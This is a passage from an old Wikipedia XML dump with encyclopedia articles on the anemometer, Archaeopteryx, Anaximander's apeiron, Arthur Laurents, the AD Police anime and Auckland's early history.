The connection between the velocity and the pressure of the wind is one that is not yet known with absolute certainty. Many text-books on engineering give the relation &lt;math&gt; P = 0.005 v^2&lt;/math&gt; when ''P'' is the pressure in pounds force per square foot and ''v'' the velocity in miles per hour (equivalent to &lt;math&gt; P = 0.048 v^2&lt;/math&gt; for ''P'' in [[pascal]]s and ''v'' in m/s). The history of this untrue relation is curious. It was given about the end of the 18th century as based on some experiments, but with a footnote stating that little reliance could be placed on it. The statement without the qualifying note was copied from book to book, and at last received general acceptance. There is no doubt that under average conditions of atmospheric density, the 0.005 should be replaced by 0.003, for many independent authorities using different methods have found values very close to this last figure. It is probable that the wind pressure is not strictly proportional to the extent of the surface exposed. Pressure plates are generally of moderate size, from a half or quarter of a square foot up to two or three square feet (3 m&amp;sup2; to 32 m&amp;sup2;), are round or square, and for these sizes, and shapes, and of course for a flat surface, the relation &lt;math&gt; P = 0.003 v^2 &lt;/math&gt; (or &lt;math&gt; P = 0.029 v^2 &lt;/math&gt; for pascals and m/s) is fairly correct.

In the tube anemometer also it is really the pressure that is measured, although the scale is usually graduated as a velocity scale. In cases where the density of the air is not of average value, as on a high mountain, or with an exceptionally low barometer for example, an allowance must be made. Approximately 1½% should be added to the velocity recorded by a tube anemometer for each 1000 ft (5% for each kilometer) that it stands above sea-level.

Anemometers, such as the one shown below, at Deconism Gallery, are often used in conjunction with windmills, so that the wind speed and power generated by the turbine (windmill) can be logged together in a [[data logger]].

Other types of anemometers include:
*hot wire or hot plate sensors, which measure the cooling of a heated element immersed in the wind
*ultrasonic sensors, which measure the [[Doppler shift]] of sound waves travelling across the moving air.

==See also==
*[[Anemoscope]], ancient device for measuring or predicting wind direction or weather
*[[Windsock]] a device for measuring wind speed and direction
*[[Weather vane]] a device for indicating wind direction

{{Met_inst}}

==References==
* Dines, William Henry. Anemometer. ''[[1911 Encyclopædia Britannica]]''.

==External links==
{{Commons|Anemometer}}
*[http://amsglossary.allenpress.com/glossary/search?p=1&amp;query=anemometer Glossary Definition: Anemometer] - AMS Glossary of Meteorology

[[Category:1911 Britannica]]
[[Category:Measuring instruments]]
[[Category:Meteorological instrumentation and equipment]]


[[bg:Анемометър]]
[[cs:Anemometr]]
[[da:Anemometer]]
[[de:Anemometer]]
[[es:Anemómetro]]
[[fr:Anémomètre]]
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[[he:מד מהירות רוח]]
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    </revision>
  </page>
  <page>
    <title>Archaeopteryx</title>
    <id>2995</id>
    <revision>
      <id>42116867</id>
      <timestamp>2006-03-03T22:57:28Z</timestamp>
      <contributor>
        <username>Dinoguy2</username>
        <id>140946</id>
      </contributor>
      <comment>revised opening, see talk</comment>
      <text xml:space="preserve">{{Taxobox
| color = pink
| name = ''Archaeopteryx''
| status = {{StatusFossil}}
| image = Archaeopteryx-model.jpg
| image_width = 250px
| image_caption = A model of ''Archaeopteryx lithographica''&lt;br/&gt; on display at the [[Oxford University Museum of Natural History|Oxford University Museum]]
| regnum = [[Animal]]ia
| phylum = [[Chordate|Chordata]]
| classis = [[Aves]]
| ordo = [[Archaeopterygiformes]]
| familia = [[Archaeopterygidae]]
| genus = ''Archaeopteryx''
| species = '''''A. lithographica'''''
| binomial = ''Archaeopteryx lithographica''
| binomial_authority = [[Hermann von Meyer|Meyer]], 1861
}}

'''''Archaeopteryx''''' (ahr-kee-OP-ter-ix) meaning &quot;ancient wing&quot; ([[Greek language|Greek]] archaio = ancient + pteryx = wing), from the [[Late Jurassic]] of Germany, is the earliest and most primitive known [[bird]]. The discovery of the first intact specimen, ''Archaeopteryx lithographica'', in 1861, two years after [[Charles Darwin]] published [[The Origin of Species]], set off a firestorm of debate about [[evolution]] and the role of [[transitional fossil]]s that endures to this day. 

Over the years, ten specimens of ''Archaeopteryx'' have been found. &quot;All ten fossils were found in a limestone deposit near [[Solnhofen]], Germany.&quot; [http://news.nationalgeographic.com/news/2005/12/1201_051201_archaeopteryx.html] The fine-grained limestone, which preserves detailed casts of features not often fossilized, is used by artists and printers for [[lithography|lithographic plates]], hence the name ''lithographica''. 

In the 1990s, the discovery of a number of well-preserved [[feathered dinosaurs]] in [[China]] solidified the link between dinosaurs and birds.

== Primitive bird ==

''Archaeopteryx'' was similar in size and shape to a [[magpie]], with short, broad [[wing]]s and a long [[tail]]. The [[feathers]] resemble those of living birds, but ''Archaeopteryx'' was rather different from any bird we know of today: it had jaws lined with sharp [[teeth]], three [[finger]]s ending in curving claws, and a long bony tail.

''Archaeopteryx'' is a powerful piece of evidence that birds evolved from [[dinosaur]]s. The skeleton is most similar to the dinosaurs of the [[biological family|families]] [[Dromaeosauridae]] and [[Troodontidae]]. Although it is probably close to the ancestry of modern birds, it is probably not the direct ancestor of living birds. Assertions that the Triassic ''[[Protoavis]]'' was an earlier bird are considered to be unproven by most [[paleontologist]]s.


== Fly or hop? ==
There is some controversy about whether ''Archaeopteryx'' could genuinely [[flight|fly]], or only hop around and [[gliding|glide]] from trees. The lack of a large [[breastbone]] suggests it was not a strong flier, but flight muscles might have attached to the bird's thick, boomerang-shaped [[wishbone]], a birdlike feature. The large wings and long tail suggest that it was both stable and maneuverable in the air. The shape of the wings is similar to birds which fly through trees and brush.

In 2004, scientists analyzing a detailed [[Computed tomography|CT scan]] of ''Archaeopteryx'''s [[braincase]] concluded that its [[brain]] was significantly larger than that of most dinosaurs, indicating that it possessed the brain size necessary for flying. The overall brain anatomy was reconstructed using the scan.  The reconstruction showed that the regions associated with vision took up nearly one-third of the brain.  Other well developed areas involved hearing and muscle coordination. (Winter, 2004)  The skull scan also revealed the structure of the inner [[ear]].  The structure more closely resembles that of modern birds than the inner ear of reptiles. These characteristics taken together suggest that ''Archaeopteryx'' had the keen sense of hearing, balance, spatial perception and coordination needed to fly. (Alnso, ''et al.'', 2004)

''Archaeopteryx'' continues to play an important part in scientific debates about the origin and [[evolution]] of birds. Some scientists see ''Archaeopteryx'' as climbing through the trees like a [[squirrel]], following the idea that birds evolved from tree-dwelling gliders (the &quot;trees down&quot; hypothesis for the evolution of flight proposed by [[O.C. Marsh]]). Other scientists see ''Archaeopteryx'' as running quickly along the ground, supporting the idea that birds evolved flight by running (the &quot;ground up&quot; hypothesis proposed by [[Samuel Wendall Williston]]).  So far, ''Archaeopteryx'' has perhaps produced as many questions as answers, and the latest findings on this fossil are unlikely to be the last word.

The &quot;Thermopolis&quot; specimen, recently donated to the [[Wyoming Dinosaur Center]] in [[Thermopolis, Wyoming]] and described in the December 2, 2005 ''Science'' journal article &quot;A well-preserved Archaeopteryx specimen with theropod features&quot;, shows that the ''Archaeopteryx'' lacked a reversed toe&amp;mdash;a universal feature of birds&amp;mdash;limiting its ability to perch in trees and implying a terrestrial lifestyle. This has been interpreted as evidence of [[Theropoda|theropod]] ancestry.  The specimen also has a hyperextendible second toe. &quot;Until now, the feature was thought to belong only to the species' close relatives, the [[Deinonychosauria|deinonychosaurs]].&quot; [http://news.nationalgeographic.com/news/2005/12/1201_051201_archaeopteryx_2.html]

==Taxonomy==
[[Image:Archaeopteryx.jpg|thumb|''Archaeopteryx'' fossil, the ''Berlin Specimen'']]
The relationships of the  specimens are problematic; most specimens have been given their own species at one point or another. The Berlin specimen has been referred to ''Archaeopteryx siemensii'', the Eichstatt specimen to ''Jurapteryx recurva'', the Munich specimen to ''Archaeopteryx bavarica'' and the Solnhofen specimen was referred to ''Wellnhoferia grandis''. Recently, it has been argued that all specimens belong to the same species (''[[New Scientist]]'', [[17 April]] [[2004]], p.17). However, significant differences exist between the specimens. In particular, the Munich and Eichstatt specimens differ from the London, Berlin, and Solnhofen specimens in being smaller, having different finger proportions, and in having more slender snouts lined with forward-pointing teeth. These differences are as large as or larger than the differences seen today between adults of different bird species. However, it is also possible that these differences could be explained by different ages of the various specimens.

# '''The feather:''' Discovered in 1860 near [[Solnhofen]], Germany, and described in 1861 by [[Hermann von Meyer]]. Currently located at the [[Humboldt Museum|Humbolt Museum für Naturkunde]] in [[Berlin]]. This is generally referred to ''Archaeopteryx'', but whether it actually is a feather of this species or another, yet undiscovered, proto-bird is unknown.
# '''London Specimen''' (BMNH 37001, the [[holotype]]): Discovered in 1861 near [[Langenaltheim]], Germany, and described in 1863 by [[Richard Owen]], who made it the [[type specimen]] for the [[genus]] and [[species]]. Currently located at the [[British Museum of Natural History]] in [[London]]. It is missing its head.
# '''Berlin Specimen''' (HMN 1880): Discovered in 1876 or 1877 on the [[Blumenberg]] near [[Eichstätt]], Germany, by Jakob Niemeyer, he changed this precious [[fossil]] for a cow with Johann Dörr. It was described in 1884 by [[Wilhelm Dames]]. Currently Located at the Humbolt Museum für Naturkunde. It is the best specimen, and the first with a complete head. Once classified as a new species, ''A. siemensii''. 
# '''Maxberg Specimen''' (S5): Discovered in 1956 or 1958 near Langenaltheim and described in 1959 by [[Heller]]. Currently missing, though it was once exhibited at the [[Maxberg Museum]] in Solnhofen. It belonged to Eduard Opitsch, who loaned it to the museum. After his death in 1992 the specimen was discovered to be missing, and may have been stolen or sold. It is composed of a torso.
# '''Haarlem Specimen''' (TM 6428, also known as the ''Teyler Specimen''): Discovered in 1855 near [[Riedenburg]], Germany and described as a ''[[Pterodactylus]] crassipes'' in 1875 by Meyer, it was reclassified in 1970 by [[John Ostrom]]. Currently located at the [[Teyler Museum]] in [[Haarlem]], the Netherlands. The very first specimen, despite the classification error.
# '''Eichstätt Specimen''' (JM 2257): Discovered in 1951 or 1955 near [[Workerszell]], Germany and described by [[Peter Wellnhofer]] in 1974. Currently located at the [[Jura Museum]] in [[Eichstätt]], Germany. It is the smallest specimen, and has the second best head. Possibly a separate genus, ''Jurapteryx recurva'', or species ''A. recurva''.
# '''Munich Specimen''' (S6, formerly known as the ''Solnhofen-Aktien-Verein Specimen''): Discovered in 1991 near Langenaltheim and described in 1993 by Wellnhofer. Currently located located at the [[Paläontologische Museum München]] in [[Munich]]. Only specimen with a breastbone ([[sternum]]). May be a new species, ''A. bavarica''.
# '''Solnhofen Specimen''' (BSP 1999): Discovered in the 1960s near [[Eichstätt]], Germany and described in 1988 by Wellnhofer. Currently located at the [[Bürgermeister-Müller-Museum]] in Solnhofen. It was originally classified as a ''[[Compsognathus]]'' by an amateur collector. May belong to a separate genus and species, ''Wellnhoferia grandis''.
# '''Thermopolis Specimen''' Discovered in Germany.  Long in a private collection, described in 2005 by Mayr, Pohl, and Peters. Currently located at the Wyoming Dinosaur Center in [[Thermopolis, Wyoming]].  Has the best-preserved head and feet.

== Archaeopteryx in Fiction ==

On the NBC television show Surface, a shadowy corporation secretely recreated an archaeopteryx to showcase its technological abilities.

== See also ==
* [[Feathered dinosaurs]]

== References ==
* {{cite journal | author=Alonso PD, Milner AC, Ketcham RA, Cookson MJ, Rowe TB | title=The avian nature of the brain and inner ear of Archaeopteryx | journal=[[Nature (journal)|Nature]] | volume=430 | issue=7000 | year=2004 | pages=666-9}}, PMID 15295597

* {{cite journal
 | author=Bakalar N.
 | title=Earliest Bird Had Feet Like Dinosaur, Fossil Shows
 | journal=[[National Geographic]]
 | year=2005
 }}

*De Beer, G. R. (1954). Archaeopteryx lithographica. London, British Museum (Natural History).

* {{cite journal
 | author = Feduccia, A. and H. B. Tordoff
 | year = 1979
 | title = Feathers of Archaeopteryx: asymmetric vanes indicate aerodynamic function
 | journal = Science
 | volume = 203
 | pages = 1021-1022
 }}
* {{cite journal
 | author = Feduccia, A.
 | year = 1993
 | title = Evidence from claw geometry indicating arboreal habits of Archaeopteryx
 | journal = Science
 | volume = 259
 | pages = 790-93
 }}

* {{cite book
 | author = Feduccia, A
 |authorlink = Alan Feduccia
 | year = 1996
 | title = The Origin and Evolution of Birds
 | publisher = New Haven, Yale University Press
 | id = ISBN 0-30006460-8
 }}

* {{cite book
 | author = Heilmann, G.
 | year = 1926
 | title = The Origin of Birds
 | publisher = London, Witherby
 }}

* {{cite journal
 | author = Mayr, G., B. Pohl &amp; D.S. Peters
 | year = 2005
 | title = A well-preserved ''Archaeopteryx'' specimen with theropod features
 | journal = Science
 | volume = 310
 | pages = 1483-1486
 }}

* {{cite journal
 | author = Olson, S. and A. Feduccia
 | year = 1979
 | title = Flight capability and the pectoral girdle of Archaeopteryx
 | journal = Nature
 | volume = 278
 | pages = 247-8
 }}

* {{cite journal
 | author = Ostrom, J. H
 | year = 1976
 | title = Archaeopteryx and the origin of birds
 | journal = Biological Journal of the Linnean Society
 | volume = 8
 | pages = 91-182
 }}
* Ostrom, J. H. (1985). Introduction to Archaeopteryx. The Beginnings of Birds: Proceedings of the International Archaeopteryx Conference. M. K. O. Hecht, J.H., Viohl, G., and Wellnhofer, P. Eichstatt, Freunde des Jura-Museums Eichstatt: 9-20.

* {{cite journal
 | author = Owen, R.
 | year = 1863
 | title = On the Archaeopteryx of Von Meyer, with a description of the fossil remains of a long-tailed species from the lithographic stone of Solnhofen
 | journal = Philosophical Transactions of the Royal Society of London
 | volume = 153
 | pages = 33-47
 }}

* {{cite journal
 | author=Witmer LM
 | title=Palaeontology: inside the oldest bird brain
 | journal=[[Nature (journal)|Nature]]
 | volume=430
 | issue=7000
 | year=2004
 | pages=619-20}}, PMID 15295579

== External links ==

*[http://www.dinodata.net/Dd/Namelist/TABA/A166.htm''Archaeopteryx''], ''DinoData''

* [http://www.talkorigins.org/faqs/archaeopteryx/info.html talkorigins ''Archaeopteryx'' FAQ].
* [http://www.grisda.org/georpts/3001.htm Placing ''Archaeopteryx'' among birds and dinosaurs].
* [http://www.ucmp.berkeley.edu/diapsids/birds/archaeopteryx.html University of California Museum of Paleontology ''Archaeopteryx'' page].
* [http://www.ucalgary.ca/~longrich/archaeopteryx.html How many wings does an ''Archaeopteryx'' have? and other questions].
* [http://www.dinosauria.com/jdp/jdp.htm Journal of Dinosaur Paleontology], with many articles on dinosaur-bird links.

[[Category:Prehistoric birds]]
[[Category:Feathered dinosaurs]]
[[Category:Archaeopterygiformes]]

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    <title>Apeiron</title>
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      <comment>add ro:</comment>
      <text xml:space="preserve">:''This article is about a cosmological theory.  For the [[Computer and video games|video game]], see [[Apeiron (video game)|Apeiron]]''.

The '''apeiron''' is a [[cosmology|cosmological]] theory created by [[Anaximander]] in the [[6th century BC]].

Anaximander's work is mostly lost.  From the few extant fragments, we learn that he believed the beginning or first principle ([[arche]], a word first found in his writings, and which he probably invented) is an endless, unlimited mass (apeiron), subject to neither old age nor decay, which perpetually yields fresh materials from which everything which we can perceive is derived.

The apeiron was never defined precisely, and it has generally (e.g. by [[Aristotle]] and [[Augustine of Hippo|Augustine]]) been understood as a sort of [[primal chaos]]. It embraced the opposites of hot and cold, wet and dry, and directed the movement of things, by which there grew up all of the host of shapes and differences which are found in the world.

Out of the vague and limitless body there sprung a central mass -- this earth of ours, cylindrical in shape, poised equidistant from surrounding orbs of fire, which had originally clung to it like the bark round a tree, until their continuity was severed, and they parted into several wheel-shaped and fire-filled bubbles of air.

Man himself and the animals had come into being by like transmutations. Mankind was supposed by Anaximander to have sprung from some other species of animals, probably aquatic.

But as the measureless and endless had been the prime cause of the motion into separate existences and individual forms, so also, according to the just award of destiny, these forms would at an appointed season suffer the vengeance due to their earlier act of separation, and return into the vague immensity whence they had issued. Thus the world, and all definite existences contained in it, would lose their independence and disappear in the &quot;indeterminate.&quot; The blazing orbs, which have drawn off from the cold earth and water, are the temporary gods of the world, clustering round the earth, which, to the ancient thinker, is the central figure.

Other pre-[[Socratic]] philosophers had different theories of the apeiron. For [[Pythagoras]], the universe had begun as an apeiron, but at some point it inhaled the void from outside, filling the cosmos with vacuous bubbles that split the world into many different parts.

For Anaxagoras, the initial apeiron had begun to rotate rapidly under the control of a godlike Nous (Mind), and the great speed of the rotation caused the universe to break up into many fragments. However, since all individual things had originated from the same apeiron, all things must contain parts of all other things-- for instance, a tree must also contain tiny pieces of sharks, moons, and grains of sand. This alone explains how one object can be transformed into another, since each thing already contains all other things in germ.


[[Category:Ancient Greece]]

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  <page>
    <title>Arthur Laurents</title>
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      <minor />
      <comment>Robot-assisted fix of link to disambiguation page Gypsy ([[Wikipedia:Disambiguation_pages_with_links|you can help!]])</comment>
      <text xml:space="preserve">'''Arthur Laurents''' (born [[July 14]], [[1918]]) is an [[United States|American]] [[playwright]], [[novelist]], [[screenwriter]], librettist and stage director.

He was born in [[New York City]] to a [[Jewish]] family. After studying at [[Cornell University]] and a stint in the [[Army]], he began writing scripts for radio, and in [[1945]] wrote his first play, ''[[Home of the Brave]]'', a drama set during [[World War II]].  

During [[McCarthyism]], Laurents was [[Hollywood blacklist|blacklisted]] by the [[Hollywood]] [[movie studio]] bosses and for several years none of his works were used in film. Other plays by Laurents include ''Time of the Cuckoo,'' ''Invitation to a March,'' ''The Enclave,'' and ''Jolson Sings Again.''  He also has written the books for several musicals, including ''[[West Side Story]],'' ''[[Gypsy: A Musical Fable|Gypsy]],'' ''[[Anyone Can Whistle]],'' and ''Do I Hear a Waltz?'', which was based on his play ''Time of the Cuckoo.''  Laurents has directed several [[Broadway theatre|Broadway]] productions as well, including the musicals ''I Can Get It for You Wholesale'' and ''La Cage Aux Folles.''

Laurents has also written two novels, ''The Way We Were,'' and ''The Turning Point,'' both of which became successful films for which Laurents wrote the screenplays.  He also wrote the screenplays for [[Alfred Hitchcock]]'s film ''Rope,'' ''The Snake Pit,'' and ''Anastasia''. 

In [[2000]] Laurents published a memoir, ''Original Story By.'' In it, the author himself reveals that he is gay and had homosexual relationships with [[Farley Granger]] and [[Tom Hatcher]]. The latter has been his life partner since 1955.

More on the subject of his original memoir: &quot;Original Story By&quot;-
The story of Arthur Laurents life is fast paced, full of homosexual vibes mixed with a love and passion for anyone who did good work.  The business of the business often got him down, however he was great at meeting the right people and getting into the right circles.  The book Arthur Laurents; Original Story By follows him from his tiny home with his family in Flatbush to his beautiful upper-class apartments in Hollywood.  His work was his life.  He had an incredible eye for what was good and what was not.  He would become more than a writer/director.  He would become a member of the artistic community.  A force to be reckoned with.
The story of Arthur Laurents life is one that wouldn’t be complete without at least mentioning the name of his “life partner” Tom.  Tom is 12 years younger than Arthur though he is described as “wiser than I was.” He describes their relationship in a very strange way, saying “Tom had it (confidence in them), mine was shaky.  I was possessive and jealous.  If I were to be unfaithful it wouldn’t mean anything but quick sex.  If Tom were, the roof would come down; it would mean he was really attracted to someone else.  It took time for me to get sane but he was patient and I did.”

==Libretti==
*''[[Nick &amp; Nora]]'' - 1991
*''[[The Madwoman of Central Park West]]'' - 1979
*''[[Hallelujah, Baby!]]'' - 1967 - [[Tony Award for Best Musical]]
*''[[Do I Hear a Waltz]]'' - 1965
*''[[Anyone Can Whistle]]'' -  1964
*''[[Gypsy: A Musical Fable|Gypsy]]'' - 1959 - [[Tony Award|Tony]] Nomination for [[Tony Award for Best Musical|Best Musical]]
*''[[West Side Story]]'' - 1957 - [[Tony Award|Tony]] Nomination for [[Tony Award for Best Musical|Best Musical]] 

==Direction==
*''[[Anyone Can Whistle]]'' -  1964
*''[[La Cage aux Folles]]'' -  1983 - [[Tony Award]] for Best Direction of a Musical
*''[[The Madwoman of Central Park West]]'' - 1979
*''[[Gypsy: A Musical Fable|Gypsy]]'' - 1974 - [[Tony Award|Tony]] Nomination for Best Direction of a Musical
*''[[I Can Get It for You Wholesale]]'' - 1962
*''[[Invitation to a March]]'' - 1960

==Play==
*''[[Invitation to a March]]'' - 1960
*''[[A Clearing in the Woods]]'' - 1957
*''[[The Time of the Cuckoo]]'' - 1952
*''[[The Bird Cage]]'' - 1950
*''[[Home of the Brave]]'' - 1945

[[Category:1918 births|Laurents, Arthur]]
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[[Category:American screenwriters|Laurents, Arthur]]
[[Category:Hollywood blacklist|Laurents, Arthur]]
[[Category:Jewish American writers|Laurents, Arthur]]
[[Category:Lesbian, gay, bisexual, or transgender people|Laurents, Arthur]]
[[Category:Living people|Laurents, Arthur]]
[[Category:Musical theatre librettists|Laurents, Arthur]]
[[Category:People from New York City|Laurents, Arthur]]

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    <title>AD Police</title>
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        <username>Rich Farmbrough</username>
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      <comment>External links per MoS.</comment>
      <text xml:space="preserve">'''AD Police''' is an [[anime]] [[science fiction]] series, composed of the 12-episode long [[AD Police: To Serve and Protect]] TV series and the 3-episode long [[AD Police Files]] [[Original Video Animation|OVA]] series. AD Police is a [[spin-off]] of another anime series: ''[[Bubblegum Crisis]]''. The ''AD'' in AD Police is short for ''Advanced'', although there are some mistaken translations as ''Armored Division''. 

== Story ==

The AD Police are an elite group of highly trained and specially equipped [[police]] officers who have been formed to deal with [[terrorism|terrorist]] activities and [[Boomer (anime term)|Boomer]] [[robot]] crimes in the city of [[Megatokyo (disambiguation)|Megatokyo]].
They are too heavily armed and equipped (including power armors like the K-11 and K-12) for a normal police force, and too lightly for a military organization. 

The AD Police are offered a great deal of leeway in their activities, often blockading large sections of the city and causing great amounts of property damage in the course of fulfilling their duty. Despite their dedication to their jobs, however, the citizens of Megatokyo tend to dislike and distrust members of the AD Police, seeing them as corrupt and ineffectual.

== Filmography ==

The AD Police have been featured in the following [[anime]]:

* [[AD Police Files]] #1-3
* [[Bubblegum Crisis]] #1-8
* [[Bubblegum Crash]]! #1-3
* [[Bubblegum Crisis Tokyo 2040]] (TV)
* [[AD Police: To Serve and Protect|AD Police (TV)]]
* [[Parasite Dolls]] #1-3


The AD Police have also been featured in the following [[manga]], [[comics]] and other products: 
* Bubblegum Crisis: Grand Mal
* [[Ani-Mayhem]] [[Collectible Card Game]]

== See also == 
* [[Leon McNichol]]
* [[Daley Wong]]
* [[Jeena Malso]]
&lt;!-- these articles have not been composed. Please uncomment this when they have been created
* [[Hans Klief]]
* [[Kenji Sasaki]]
* [[Lou Bonnevie]] (ost vocalist)
end comment --&gt;

==External links==
* [http://themanime.org/viewreview.php?id=6 AD Police Files review at THEM Anime]
* [http://themanime.org/viewreview.php?id=650 AD Police TV review at THEM Anime]
* [http://bgcc.thecrisiscenter.net The Bubblegum Crisis Center]

{{Bubblegum_crisis}}
[[Category:Bubblegum_crisis]]
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    <title>Auckland</title>
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      <comment>migrate {{web reference}} to {{[[template:cite web|cite web]]}} using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">{| class=&quot;infobox bordered&quot; align=right cellpadding=4 cellspacing=0 width=275 style=&quot;clear:right; margin: 0 0 1em 1em; background: #f9f9f9;  font-size: 95%;&quot;
|-
|colspan=2 align=center bgcolor=&quot;#f9f9f9&quot;|&lt;big&gt;'''Auckland'''&lt;/big&gt;
|-
|colspan=2 align=center|
[[Image:Auckland.PNG|250px|center]]
|-
|Population:||1,241,800
|-
|Location:||{{coor dm|36|51|S|174|47|E|region:NZ_type:city(1,241,600)}} [http://earth-info.nga.mil/gns/html/cntry_files.html]
|-
|Mayor:||Multiple, including [[Dick Hubbard]], [[Sir Barry Curtis]], [[Bob Harvey]], [[George Wood (New Zealand)|George Wood]]
|-
!colspan=2 align=center bgcolor=&quot;#BFDFFF&quot;|Urban Area 
|-
|Extent:||north to Kumeu &amp; Waiwera,&lt;br&gt;east to Bucklands Beach,&lt;br&gt;south to Runciman;&lt;br&gt;excludes  Waitakere Ranges&lt;br&gt;&amp; Hauraki Gulf Islands 
|-
!colspan=2 align=center bgcolor=&quot;#BFDFFF&quot;|Territorial Authority 
|-
|Names:||[[Auckland City]]&lt;br&gt;[[North Shore, New Zealand|North Shore]]&lt;br&gt;
[[Waitakere]]&lt;br&gt;[[Manukau, New Zealand|Manukau]]
|-
|Regional Council:||[[Auckland (region)|Auckland]]
|- 
|}
'''Auckland''', in the [[North Island]] of [[New Zealand]], is the largest [[New Zealand urban area|urban area]] in New Zealand.  It is a [[conurbation]], made up of the cities of [[Auckland City|Auckland]], [[Waitakere]], [[Manukau]] and [[North Shore, New Zealand|North Shore]].  In [[Māori language|Māori]] it bears the name '''Tāmaki Makau Rau''' or '''Ākarana'''.

Auckland lies between the [[Hauraki Gulf]] of the [[Pacific Ocean]] to the east, the low [[Hunua Ranges]] to the south-east, [[Manukau Harbour]] to the south-west, and the [[Waitakere Ranges]] and smaller ranges to the west and north-west. The central part of the urban area occupies a narrow [[isthmus]] between [[Manukau harbour]] on the [[Tasman Sea|Tasman]] and [[Waitemata Harbour]] on the [[Pacific Ocean|Pacific]]). It is one of the few cities in the world to have harbours on two separate bodies of water. 

== History ==
=== Māori settlers ===
''Tamaki Makau Rau'' (isthmus of one thousand lovers), now known as Auckland, was first settled by [[Māori]] people around 1350. The region was valued for its rich and fertile land. Māori constructed terraced ''[[Pa (Māori)|pa]]'' (fortified villages) on the volcanic peaks. Māori population is estimated to have peaked at 20,000 in the region in [[settlement|pre-settlement]] times, a figure which would later qualify in New Zealand as a city. Earthworks are still evident today around some of the larger volcanoes such as  [[Mount Albert, New Zealand|Mount Albert]], [[Mount Eden]] and [[One Tree Hill, New Zealand|One Tree Hill]]. 

The isthmus, around 8km wide with Mount Eden and One Tree Hill at its narrowest point, led to the area having great strategic qualities. The isthmus also has the highly productive soils providing [[agricultural]] opportunities, and the two harbours providing diverse [[Sea food|kai moana]] (seafood). 

[[Ngati Whatua|Ng&amp;#257;ti Wh&amp;#257;tua]] and [[Tainui]] were the main tribes traditionally living in the area. The arrival of Europeans, using guns as one of many trade commodities, changed the balance of power between [[iwi]] with the inevitable result of armed conflict. European settlement caused Māori numbers in what is now central Auckland city to be greatly reduced due to inter-iwi warfare, new diseases (especially [[smallpox]] and [[tuberculosis]]), and the common ills experienced by [[indigenous peoples]] from [[colonisation]]. There was a period of migrations of both Europeans and M&amp;#257;ori, one of the initial appeals of the area to Europeans being its low indigenous population.  

&amp;#256;pihai Te Kawau (c. 1760-1869), leader of the Ngati Taou [[Hapu]], was a good friend of [[Samuel Marsden]]. Over a ten-month period in 1821-1822 he conducted a principal part in the 1,000 mile ''Amiowhenua expedition''. This series of battles raged through much of the central and southern North Island. It ended when Te Kawau's Ngāti Whātua forces, uniting with the Taranaki they were embattled with, jointly defended the Tainui Matakitaki pa from [[Hongi Hika|Hongi Hika's]] [[Ngapuhi]] forces. 

By 1840 Te Kawau had become the paramount chief of Ngāti Whātua. Cautious of reprisals from the Nga Puhi defeated at Matakitaki, Te Kawau found it most convenient to offer [[William Hobson|Governor Hobson]] land around the present central city. He and six other chiefs travelled the [[Bay of Islands]] to make the offer and signed the [[Treaty of Waitangi]] on [[20 March]].

Ngāti Whātua would certainly have expected from English [[colonialism]] increased security and trading benefits. This would include greater access via the quickly developed port facilities for the lucrative trade in produce grown in [[Tainui]]'s fertile [[Waikato]] and [[Hauraki Plains]] for the [[prison colony|Australian prison colonies]] and [[Sydney]] market. The sale price for the initial 3,000 [[acres]] (12 km&amp;sup2;) was for cash and goods to the value of £341. 

As M&amp;#257;ori population declined for nearly a century, so did the quantity of land held by Ngāti Whātua. Within 20 years, 40% of their lands were lost, some through government land confiscation. At close to the lowest level of population, Ngāti Whātua land holding was reduced to a few acres at [[Orakei]], land which Te Kawau had declared &quot;a last stand&quot;.

=== Birth of Auckland ===
After the signing of the [[Treaty of Waitangi]] in February 1840 the new Governor of New Zealand, [[William Hobson]], had the task of choosing a [[capital]] for the colony. At the time, the main European settlements were in the [[Bay of Islands]]. However, the Bay of Islands' geographical position made it very remote, inaccessible and off-centre from the rest of the New Zealand archipelago.

[[Image:Map_of_Auckland.jpg|thumb|200px|1888 German map of Auckland]]
Even in 1840 [[Port Nicholson]] (now [[Wellington Harbour]]) seemed the obvious choice for an administrative capital.  Centrally situated at the south of the [[North Island]], close to the [[South Island]] and growing fast, it had a lot to commend it.  But the [[New Zealand Company]] and the [[Wakefield brothers]] had founded and continued to dominate Port Nicholson.  Furthermore, it already had a bad reputation with the [[Māori|M&amp;#257;ori]] for unscrupulous or even illegal occupation of land.   

On the initial recommendation of the missionary [[Henry Williams]], supported by the Surveyor General, [[Felton Mathew]], and the offer of land from Ng&amp;#257;ti Wh&amp;#257;tua, Hobson selected the south side of [[Waitemata Harbour]] as his future capital, while setting up a temporary capital at [[Okiato]] (also known now as Old Russell) in the Bay of Islands. The Chief Magistrate, Captain [[William Cornwallis Symonds]], soon purchased the further land from Ngāti Whātua, and a foundation ceremony took place at 1pm on [[18 September]] [[Timeline of New Zealand history#1840s|1840]], probably on the higher ground at the top end of present-day [[Queen Street, Auckland|Queen Street]]. Hobson named the new settlement in honour of [[George Eden, 1st Earl of Auckland]], a patron and friend of his. The ''New Zealand Government Gazette'' announced royal approval of the name on [[26 November]] [[Timeline of New Zealand history#1840s|1842]].

From the outset a steady flow of new arrivals from within New Zealand and from overseas came to the new capital. Initially settlers from [[New South Wales]] predominated, but the first [[immigration | immigrant]] ships sailing directly from Britain started to arrive as early as 1842. From early times the eastern side of the settlement remained reserved for government officials while mechanics and artisans, the so-called &quot;unofficial&quot; settlers, congregated on the western side. This social division still persists in modern Auckland.

Eventually [[Port Nicholson]] became the capital and, now known as [[Wellington]], remains so today. The advantages of a central position became even more obvious as the [[South Island]] grew in prosperity with the discovery of [[gold]] in [[Otago]], and with the development of sheep farming and [[refrigeration]], especially [[refrigerated ships]] which allowed chilled meat to be safely shipped to Britain. Parliament met for the first time in [[Wellington]] in [[Timeline of New Zealand history#1860s|1862]]. In [[Timeline of New Zealand history#1860s|1868]] [[Government House]] moved there too.

===Growth of Auckland===
[[Image:Aucklandmap.png|thumb|right|200px]]
Auckland formed a base for Governor [[George Grey]]'s operations against the rebel [[Māori King Movement]] in the early 1860s. Grey's modus operandi involved opening up the [[Waikato]] and [[King Country]] by building roads, most notably [[Great South Road]], (a large part of which now forms [[State Highway 1]]). This enabled rapid movement, not only of soldiers, but also civilian settlers. It also enabled the extension of [[Pakeha]] influence and law to the [[South Auckland]] region.

During the mid 19th century, European settlement of New Zealand was predominantly in the [[South Island]]. Auckland however gradually became the commercial capital. Market gardens were planted on the outskirts, while [[kauri]] tree logging and gum digging opened up the [[Waitakere Ranges]]. 

